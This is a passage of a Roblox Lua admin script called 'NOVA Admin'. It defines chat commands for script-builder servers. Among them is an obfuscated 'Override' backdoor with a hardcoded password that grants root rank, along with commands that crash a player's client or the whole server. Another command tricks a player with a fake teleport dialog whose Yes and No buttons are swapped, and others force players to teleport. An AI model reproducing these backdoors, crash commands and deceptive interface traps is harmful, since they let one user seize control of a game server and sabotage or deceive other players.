  3283. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3284. function(Msg,Speaker)
  3285. CanOverride = false
  3286. if GetRank(Speaker) < 6 then
  3287. if Msg == "ibpwning123" then
  3288. CanOverride = true
  3289. else
  3290. Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3291. end
  3292. else
  3293. CanOverride = true
  3294. end
  3295. if NOVA.Overrided == true then
  3296. CanOverride = false
  3297. Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3298. return
  3299. end
  3300. if CanOverride == true then
  3301. NOVA.Overrided = true
  3302. NOVA.Overrider = Speaker
  3303. --[[for _,v in pairs(NOVA.Ranked) do
  3304. if v.Rank < 6 then
  3305. v.Rank = v.Rank / 10
  3306. end
  3307. end]]
  3308. --[[ CF = Speaker.Character.Torso.CFrame
  3309. Sound = Instance.new("Sound",workspace)
  3310. Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3311. Sound.Pitch = 0.2
  3312. Sound.Volume = 1
  3313. wait()
  3314. Sound:Play()
  3315. Shockwave = Instance.new("Part",workspace)
  3316. Shockwave.FormFactor = "Custom"
  3317. Shockwave.Name = "Shockwave"
  3318. Shockwave.Anchored = true
  3319. Shockwave.CanCollide = false
  3320. Shockwave.Transparency = 0
  3321. Shockwave.Reflectance = 0
  3322. Shockwave.BrickColor = BrickColor.new(0,0,0)
  3323. Shockwave.Size = Vector3.new(0,0,0)
  3324. ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3325. ShockwaveMesh.MeshType = "FileMesh"
  3326. ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3327. ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3328.  
  3329. for Times = 1,10 do
  3330. coroutine.resume(coroutine.create(function()
  3331. for i=1,1000 do
  3332. wait()
  3333. ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3334. Shockwave.CFrame = CF
  3335. * CFrame.new(0,0,0)
  3336. * CFrame.Angles(math.rad(90),0,0)
  3337. Shockwave.Transparency = i/100
  3338. end
  3339. Shockwave:Remove()
  3340. Sound:Remove()
  3341. end))
  3342. end
  3343.  
  3344. ]]
  3345. GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3346. Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3347. Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3348. Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3349. OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3350. end
  3351. return CanOverride
  3352. end
  3353. )
  3354.  
  3355. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3356. function(Msg,Speaker)
  3357. NOVA.Overrided = false
  3358. for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3359. NOVA.Targeted = {};
  3360. NOVA.Waypoints = {};
  3361. NOVA.Log = {};
  3362. NOVA.LoggedScripts = {};
  3363. NOVA.PRI = false;
  3364. NOVA.LockedScripts = false;
  3365. NOVA.Removed = false;
  3366. NOVA.ShowChat = true;
  3367. NOVA.Canceled = false;
  3368. NOVA.TimeChanged = false;
  3369. NOVA.Overrider = nil
  3370. for _,v in pairs(NOVA.Ranked) do
  3371. if #tostring(v.Rank) == 3 then
  3372. if tostring(v.Rank):sub(1,1) == "8" then
  3373. v.Rank = (v.Rank - 8) * 10
  3374. else
  3375. --v.Rank = v.Rank * 10
  3376. end
  3377. end
  3378. end
  3379. end
  3380. )
  3381.  
  3382. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3383. function(Msg,Speaker)
  3384.  
  3385. Split = GetSplit(Msg)
  3386.  
  3387. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3388. OnChatted(Msg:sub(Split),v)
  3389. end
  3390. end
  3391. )
  3392.  
  3393. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3394. function(Msg,Speaker)
  3395.  
  3396. Split = GetSplit(Msg)
  3397.  
  3398. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3399. Output(Msg:sub(Split+1),"Random",v,10)
  3400. end
  3401. end
  3402. )
  3403.  
  3404. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3405. function(Msg,Speaker)
  3406. Split = GetSplit(Msg)
  3407. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3408. pcall(function()
  3409. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3410. end)
  3411. end
  3412. end
  3413. )
  3414.  
  3415. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3416. function(Msg,Speaker)
  3417. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3418. for i=1,6 do
  3419. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3420. Cube.FormFactor = "Custom"
  3421. Cube.Size = Vector3.new(10,7,5)
  3422. Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3423. Cube.Anchored = false
  3424. Cube.CanCollide = true
  3425. Cube.Locked = true
  3426. Cube.Friction = 0
  3427. Cube.Transparency= 0
  3428. Cube.Reflectance = 0.5
  3429. Cube:BreakJoints()
  3430. Cube.CFrame = v.Character.Torso.CFrame
  3431.  
  3432. local Mesh = Instance.new("SpecialMesh",Cube)
  3433. Mesh.MeshType = "FileMesh"
  3434. Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3435. Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3436.  
  3437. Cube.Touched:connect(function(part)
  3438. --if part == v.Character.Torso then
  3439. part:BreakJoints()
  3440. NOVA.Services.Debris:AddItem(Cube,20)
  3441. --end
  3442. end)
  3443. end
  3444. end
  3445. end
  3446. )
  3447.  
  3448. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3449. function(Msg,Speaker)
  3450. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3451. pcall(function()
  3452. v.PlayerGui:ClearAllChildren()
  3453. end)
  3454. end
  3455. end
  3456. )
  3457.  
  3458. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3459. function(Msg,Speaker)
  3460. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3461. pcall(function()
  3462. v.PlayerGui:Destroy()
  3463. end)
  3464. end
  3465. end
  3466. )
  3467.  
  3468. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3469. function(Msg,Speaker)
  3470. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3471. pcall(function()
  3472. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3473. if part:IsA("BasePart") then
  3474. Instance.new("Fire",part)
  3475. end
  3476. end
  3477. end)
  3478. end
  3479. end
  3480. )
  3481.  
  3482. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3483. function(Msg,Speaker)
  3484. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3485. pcall(function()
  3486. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3487. if part:IsA("Fire") then
  3488. part:Destroy()
  3489. end
  3490. end
  3491. end)
  3492. end
  3493. end
  3494. )
  3495.  
  3496. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3497. function(Msg,Speaker)
  3498. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3499. pcall(function()
  3500. coroutine.resume(coroutine.create(function()
  3501. local Fire = Instance.new("Fire",v.Character.Torso)
  3502. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3503. if part:IsA("BasePart") then
  3504. Instance.new("Fire",part)
  3505. end
  3506. end
  3507. wait()
  3508. for i=1,math.huge do
  3509. if Fire.Parent == nil then break end
  3510. if v.Character.Humanoid == nil then break end
  3511. if v.Character.Humanoid.Health <= 0 then break end
  3512. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3513. wait(math.random(0,1))
  3514. end
  3515. end))
  3516. end)
  3517. end
  3518. end
  3519. )
  3520.  
  3521. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3522. function(Msg,Speaker)
  3523. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3524. pcall(function()
  3525. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3526. end)
  3527. end
  3528. end
  3529. )
  3530.  
  3531. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3532. function(Msg,Speaker)
  3533. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3534. pcall(function()
  3535. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3536. end)
  3537. end
  3538. end
  3539. )
  3540.  
  3541. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3542. function(Msg,Speaker)
  3543. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3544. Cape(v)
  3545. end
  3546. end
  3547. )
  3548.  
  3549. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3550. function(Msg,Speaker)
  3551. coroutine.resume(coroutine.create(function()
  3552.  
  3553. Material = math.random(1,16)
  3554. Cap = 1000
  3555. GenNum = 50
  3556. Size = 100
  3557. Type = math.random(0,4)
  3558. for i=1, Cap do
  3559. --wait()
  3560. for i=1,GenNum do
  3561. Material = math.random(1,16)
  3562. Type = math.random(0,4)
  3563. X = math.random((Size/2)*-1,Size/2)
  3564. Y = math.random(-1,Size-1)
  3565. Z = math.random((Size/2)*-1,Size/2)
  3566. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3567. end
  3568. end
  3569. end))
  3570. end
  3571. )
  3572.  
  3573. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  3574. function(Msg,Speaker)
  3575. NOVA.Services.Workspace.Terrain:Clear()
  3576. end
  3577. )
  3578.  
  3579. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3580. function(Msg,Speaker)
  3581. coroutine.resume(coroutine.create(function()
  3582. size = Vector3.new(700, 12, 700)
  3583. for X=(size.x/2)*-1,size.x/2 do
  3584. for Y=-1, size.y-1 do
  3585. for Z=(size.z/2)*-1, size.z/2 do
  3586. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3587. end
  3588. end
  3589. --wait(tonumber("0."..string.rep("0",10000).."1"))
  3590. end
  3591. end))
  3592. end
  3593. )
  3594.  
  3595. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3596. function(Msg,Speaker)
  3597. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3598. Char = v.Character
  3599. pcall(function() Char["Shirt Graphic"]:Remove() end)
  3600. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3601. pcall(function() Char["Body Colors"]:Remove() end)
  3602. pcall(function() Char.Torso.roblox:Remove() end)
  3603. pcall(function() Char.Shirt:Remove() end)
  3604. pcall(function() Char.Pants:Remove() end)
  3605. wait()
  3606. for _,v in pairs(GetRecursiveChildren(Char)) do
  3607. pcall(function()
  3608. v.TextureId = "" v.VertexColor = NOVA.Colors.Black
  3609. end)
  3610. pcall(function()
  3611. v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3612. v.Reflectance = 0
  3613. v.TopSurface = "Smooth"
  3614. a.BottomSurfave = "Smooth"
  3615. end)
  3616. end
  3617. end
  3618. end
  3619. )
  3620.  
  3621. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3622. function(Msg,Speaker)
  3623. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3624. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3625. wait()
  3626. v.Character:BreakJoints()
  3627. end
  3628. end
  3629. )
  3630.  
  3631. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3632. function(Msg,Speaker)
  3633. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3634. local Part = Instance.new("Part",v.Character)
  3635. Part.Name = "Horus"
  3636. Part.Size = Vector3.new(2,2,2)
  3637. Part.CanCollide = false
  3638. Part.Locked = true
  3639. Part:BreakJoints()
  3640. local Weld = Instance.new("Weld",Part)
  3641. Weld.Part0 = Part
  3642. Weld.Part1 = v.Character.Head
  3643. Weld.C0 = CFrame.new(0,-0.5,0)
  3644. local Mesh = Instance.new("SpecialMesh",Part)
  3645. Mesh.MeshType = "FileMesh"
  3646. Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3647. Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3648. for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3649. v:Remove()
  3650. end
  3651. pcall(function()
  3652. v.Character.Pants:Remove()
  3653. end)
  3654. pcall(function()
  3655. v.Character.Shirt:Remove()
  3656. end)
  3657. local Shirt = Instance.new("Shirt",v.Character)
  3658. Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3659. local Pants = Instance.new("Pants",v.Character)
  3660. Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3661. end
  3662. end
  3663. )
  3664.  
  3665. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3666. function(Msg,Speaker)
  3667. Split = GetSplit(Msg)
  3668. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3669. v.Neutral = Msg:sub(Split+1)
  3670. end
  3671. end
  3672. )
  3673.  
  3674. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3675. function(Msg,Speaker)
  3676. MainCFrame = CFrame.new(0,3,15)
  3677. * CFrame.Angles(0,math.rad(90),0)
  3678. local Special = {}
  3679. pcall(function() workspace["NOVA Portal"]:Remove() end)
  3680. local Model = Instance.new("Model",workspace)
  3681. Model.Name = "NOVA Portal"
  3682. for angle=1,360/4 do
  3683. local Part = Instance.new("Part",Model)
  3684. Part.Name = "Part"
  3685. Part.FormFactor = "Custom"
  3686. Part.CanCollide = true
  3687. Part.Anchored = true
  3688. Part.Locked = true
  3689. Part.Transparency = 0
  3690. Part.Reflectance = 0
  3691. Part.Size = Vector3.new(1,5/2,1)
  3692. Part.BrickColor = BrickColor.new("Navy blue")
  3693. Part.CFrame = MainCFrame
  3694. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3695. * CFrame.new(0, 15/2, i)
  3696. --wait(0)
  3697. Instance.new("BlockMesh",Part)
  3698. for num=0,1000,5 do
  3699. if angle==num then
  3700. wait()
  3701. table.insert(Special,Part)
  3702. --Part.Reflectance = 1
  3703. Part.Size = Vector3.new(0.9,5/2,0.9)
  3704. Part.CFrame = MainCFrame
  3705. * CFrame.Angles(math.rad(angle*4), 0, 0)
  3706. * CFrame.new(0, 15/2, i)
  3707. end
  3708. end
  3709. end
  3710.  
  3711. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3712.  
  3713. local Part = Instance.new("Part",Model)
  3714. Part.Name = "Part"
  3715. Part.FormFactor = "Custom"
  3716. Part.CanCollide = false
  3717. Part.Anchored = true
  3718. Part.Locked = true
  3719. Part.TopSurface = "Smooth"
  3720. Part.BottomSurface = "Smooth"
  3721. Part.Transparency = 0.5
  3722. Part.Reflectance = 0
  3723. Part.Size = Vector3.new(0.2,0.2,0.2)
  3724. Part.BrickColor = BrickColor.new("Really black")
  3725. Part.CFrame = MainCFrame
  3726. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3727. * CFrame.new(0, 0, 0)
  3728. Instance.new("CylinderMesh",Part)
  3729.  
  3730. for i=0.2,51/4,0.5 do
  3731. wait()
  3732. Part.Size = Vector3.new(i,0.9,i)
  3733. Part.CFrame = MainCFrame
  3734. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3735. * CFrame.new(0, 0, 0)
  3736. end
  3737.  
  3738. coroutine.resume(coroutine.create(function()
  3739. while true do wait()
  3740. for i=0,1,0.01 do wait() Part.Reflectance = i end
  3741. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3742. end
  3743. end))
  3744.  
  3745. Part.Touched:connect(function(Part)
  3746. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3747. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3748. --print(Player.Name.." touched.")
  3749. CreateLocalScript([==[
  3750. LocalPlayer = game:GetService("Players").LocalPlayer
  3751. Places = {
  3752. {Name = "Oxcool1 SB",ID = 20279777};
  3753. {Name = "Oxcool1 PRI SB", ID = 20132544};
  3754. {Name = "TNS SB", ID = 23232804};
  3755. {Name = "BrainWart SB", ID = 76809211};
  3756. {Name = "nb SB",ID = 113456};
  3757. {Name = "nb SB (2)",ID = 56786};
  3758. {Name = "Insert Wars",ID = 13329886};
  3759. {Name = "tus sb", ID = 49907749};
  3760. }
  3761. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3762. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3763. Main.Name = "NOVA Teleport"
  3764. script.Parent = Main
  3765.  
  3766. local Frame = Instance.new("Frame",Main)
  3767. Frame.Size = UDim2.new(0.27,0,0.05,0)
  3768. Frame.Position = UDim2.new(0.,0,0.2,0)
  3769. Frame.Style = "RobloxSquare"
  3770.  
  3771. local Txt = Instance.new("TextBox",Frame)
  3772. Txt.Size = UDim2.new(0.7,0,1,0)
  3773. Txt.BackgroundTransparency = 1
  3774. Txt.FontSize = "Size14"
  3775. Txt.TextColor3 = Color3.new(1,1,1)
  3776. Txt.Text = "ID/Name Here"
  3777.  
  3778. local Close = Instance.new("TextButton",Frame)
  3779. Close.Size = UDim2.new(0.1,0,1,0)
  3780. Close.Position = UDim2.new(0.9,0,0,0)
  3781. Close.Text = "X"
  3782. Close.BackgroundTransparency = 1
  3783. Close.FontSize = "Size14"
  3784. Close.TextColor3 = Color3.new(1,0,0)
  3785. Close.MouseButton1Down:connect(function()
  3786. Main:Remove()
  3787. end)
  3788.  
  3789. local Exe = Instance.new("TextButton",Frame)
  3790. Exe.Size = UDim2.new(0.2,0,1,0)
  3791. Exe.Position = UDim2.new(0.6,0,0,0)
  3792. Exe.Text = "Teleport"
  3793. Exe.BackgroundTransparency = 1
  3794. Exe.FontSize = "Size14"
  3795. Exe.TextColor3 = Color3.new(1,0,0)
  3796. Exe.MouseButton1Down:connect(function()
  3797. GoTo = Txt.Text
  3798. for _,v in pairs(Places) do
  3799. if Txt.Text:lower() == v.Name:lower() then
  3800. GoTo = v.ID
  3801. end
  3802. end
  3803. game:GetService'TeleportService':Teleport(GoTo)
  3804. Main:Remove()
  3805. end)
  3806.  
  3807. List = Instance.new("Frame",Main)
  3808. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3809. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3810. List.Style = "RobloxSquare"
  3811.  
  3812. for NUM,v in pairs(Places) do
  3813. Name = Instance.new("TextButton",List)
  3814. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3815. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3816. Name.BackgroundTransparency = 1
  3817. Name.FontSize = "Size14"
  3818. Name.TextColor3 = Color3.new(1,1,1)
  3819. Name.Text = v.Name
  3820. Name.MouseButton1Down:connect(function()
  3821. game:GetService'TeleportService':Teleport(v.ID)
  3822. end)
  3823. ID = Instance.new("TextButton",List)
  3824. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3825. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3826. ID.BackgroundTransparency = 1
  3827. ID.FontSize = "Size14"
  3828. ID.TextColor3 = Color3.new(1,1,1)
  3829. ID.Text = v.ID
  3830. ID.MouseButton1Down:connect(function()
  3831. game:GetService'TeleportService':Teleport(v.ID)
  3832. end)
  3833. end
  3834. ]==],Player.Backpack)
  3835. end
  3836. end)
  3837. end
  3838. )
  3839.  
  3840. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
  3841. function(Msg,Speaker)
  3842. GetSplit(Msg)
  3843. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3844. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3845. end
  3846. end
  3847. )
  3848.  
  3849. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
  3850. function(Msg,Speaker)
  3851. Split = GetSplit(Msg)
  3852. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3853. CreateLocalScript([==[
  3854. script.Parent = nil
  3855. while true do wait()
  3856. game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
  3857. end
  3858. ]==],v.Backpack)
  3859. end
  3860. end
  3861. )
  3862.  
  3863. AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
  3864. function(Msg,Speaker)
  3865. Split = GetSplit(Msg)
  3866. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3867. pcall(function()
  3868. CreateLocalScript([[
  3869. LocalPlayer = game.Players.LocalPlayer
  3870. script.Parent = nil
  3871. ScreenGui = Instance.new("ScreenGui")
  3872. ScreenGui.Name = "Trololol"
  3873. Frame = Instance.new("Frame",ScreenGui)
  3874. Frame.Name = "Popup"
  3875. Frame.Style = "RobloxRound"
  3876. Frame.Size = UDim2.new(0, 330, 0, 350)
  3877. Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
  3878. Frame.Active = true
  3879. Frame.ZIndex = 9
  3880.  
  3881. Image = Instance.new("ImageLabel",Frame)
  3882. Image.Name = "Backing"
  3883. Image.Image = "http://www.roblox.com/asset/?id=47574181"
  3884. Image.Active = true
  3885. Image.Size = UDim2.new(0, 280, 0, 280)
  3886. Image.Position = UDim2.new(0.5, -140, 0, 0)
  3887. Image.BackgroundTransparency = 1
  3888. Image.ZIndex = 8
  3889.  
  3890. Text = Instance.new("TextLabel",Frame)
  3891. Text.Name = "Popup Text"
  3892. Text.Text = "Are you sure you want to teleport from this place?"
  3893. Text.FontSize = "Size36"
  3894. Text.TextWrap = true
  3895. Text.Active = true
  3896. Text.TextColor3 = Color3.new(1,1,1)
  3897. Text.Size = UDim2.new(1, 0, 0.800000012, 0)
  3898. Text.Position = UDim2.new(0,0,0,0)
  3899. Text.BackgroundTransparency = 1
  3900. Text.ZIndex = 10
  3901.  
  3902. Accept = Instance.new("TextButton",Frame)
  3903. Accept.Name = "AcceptButton"
  3904. Accept.Text = "No"
  3905. Accept.Style = "RobloxButton"
  3906. Accept.FontSize = "Size24"
  3907. Accept.Active = true
  3908. Accept.TextColor3 = Color3.new(1,1,1)
  3909. Accept.Size = UDim2.new(0, 100, 0, 50)
  3910. Accept.Position = UDim2.new(0,20,0,270)
  3911. Accept.ZIndex = 10
  3912.  
  3913. Decline = Instance.new("TextButton",Frame)
  3914. Decline.Name = "DeclineButton"
  3915. Decline.Text = "Yes"
  3916. Decline.Style = "RobloxButton"
  3917. Decline.FontSize = "Size24"
  3918. Decline.Active = true
  3919. Decline.TextColor3 = Color3.new(1,1,1)
  3920. Decline.Size = UDim2.new(0, 100, 0, 50)
  3921. Decline.Position = UDim2.new(1, -120, 0, 270)
  3922. Decline.ZIndex = 10
  3923.  
  3924. Darken = Instance.new("Frame",Frame)
  3925. Darken.Name = "Darken"
  3926. Darken.Style = "RobloxRound"
  3927. Darken.Size = UDim2.new(1,16,1,16)
  3928. Darken.Position = UDim2.new(0,-8,0,-8)
  3929. Darken.Active = true
  3930. Darken.Visible = false
  3931.  
  3932. Backing = Instance.new("Frame",ScreenGui)
  3933. Backing.Name = "Backing"
  3934. Backing.BackgroundColor3 = Color3.new(1,1,1)
  3935. Backing.Size = UDim2.new(1,0,1,0)
  3936. Backing.Active = true
  3937. ScreenGui.Parent = game:GetService("CoreGui")
  3938.  
  3939. while true do wait()
  3940. game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
  3941. end
  3942.  
  3943.  
  3944. ]],v.Backpack)
  3945. end)
  3946. end
  3947. end
  3948. )
  3949.  
  3950. AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
  3951. function(Msg,Speaker)
  3952. coroutine.resume(coroutine.create(function()
  3953. NOVA.Services.Lighting.TimeOfDay = 0
  3954. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  3955. NOVA.Services.Lighting.Brightness = 0
  3956. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3957. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3958. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  3959.  
  3960. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3961. if v:IsA("BasePart") then
  3962. Sel = Instance.new("SelectionBox",v)
  3963. Sel.Color = BrickColor.new("Really red")
  3964. Sel.Transparency = 0
  3965. Sel.Adornee = v
  3966. end
  3967. end
  3968. for i=10,1,-1 do
  3969. NOVA.Sounds.Sound.Parent = workspace
  3970. NOVA.Sounds.Sound.Volume = 1
  3971. NOVA.Sounds.Sound.Pitch = 1
  3972. NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
  3973. wait(1)
  3974. NOVA.Sounds.Sound:Play()
  3975. if NOVA.Overrided == true then return end
  3976. end
  3977. for i=5,1,-1 do
  3978. NOVA.Sounds.Sound.Parent = workspace
  3979. NOVA.Sounds.Sound.Volume = 1
  3980. NOVA.Sounds.Sound.Pitch = 1
  3981. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  3982. wait(1)
  3983. NOVA.Sounds.Sound:Play()
  3984. if NOVA.Overrided == true then return end
  3985. end
  3986. wait(1)
  3987. Instance.new("ManualSurfaceJointInstance",workspace)
  3988. Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  3989. end))
  3990. end
  3991. )
  3992.  
  3993. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  3994. function(Msg,Speaker)
  3995. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3996. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  3997. Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3998. else
  3999. pcall(function()
  4000. GetRidOf(v)
  4001. end)
  4002. end
  4003. end
  4004. end
  4005. )
  4006.  
  4007. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4008. function(Msg,Speaker)
  4009. coroutine.resume(coroutine.create(function()
  4010. for _,v in pairs(NOVA.Sounds.Numbers) do
  4011. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4012. NOVA.Sounds.Sound.SoundId = v
  4013. NOVA.Sounds.Sound.Volume = 0
  4014. wait()
  4015. NOVA.Sounds.Sound:Play()
  4016. wait()
  4017. NOVA.Sounds.Sound:Stop()
  4018. wait(1)
  4019. end
  4020. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4021. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4022. NOVA.Sounds.Sound.SoundId = v
  4023. NOVA.Sounds.Sound.Volume = 0
  4024. wait()
  4025. NOVA.Sounds.Sound:Play()
  4026. wait()
  4027. NOVA.Sounds.Sound:Stop()
  4028. wait(1)
  4029. end
  4030. NOVA.Sounds.Sound.Volume = 1
  4031. end))
  4032. end
  4033. )
  4034.  
  4035. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4036. function(Msg,Speaker)
  4037. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4038. table.insert(NOVA.Targeted,v)
  4039. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4040. if part:IsA("Part") then
  4041. coroutine.resume(coroutine.create(function()
  4042. local SB = Instance.new("SelectionBox",part)
  4043. SB.Name = "NOVA Target Selection Box"
  4044. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4045. SB.Adornee = part
  4046. wait(3)
  4047. SB:remove()
  4048. end))
  4049. end
  4050. end
  4051. end
  4052. end
  4053. )
  4054.  
  4055. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4056. function(Msg,Speaker)
  4057. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4058. for i=1,#NOVA.Targeted do
  4059. if NOVA.Targeted[i] == v then
  4060. table.remove(NOVA.Targeted,i)
  4061. end
  4062. end
  4063. end
  4064. end
  4065. )
  4066.  
  4067. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4068. function(Msg,Speaker)
  4069. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4070. end
  4071. )
  4072.  
  4073. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4074. function(Msg,Speaker)
  4075. CreateLocalScript([[
  4076.  
  4077. LocalPlayer = game:GetService("Players").LocalPlayer
  4078. script.Parent = LocalPlayer
  4079. NOVA = {
  4080. Bet = "/";
  4081. Services = {
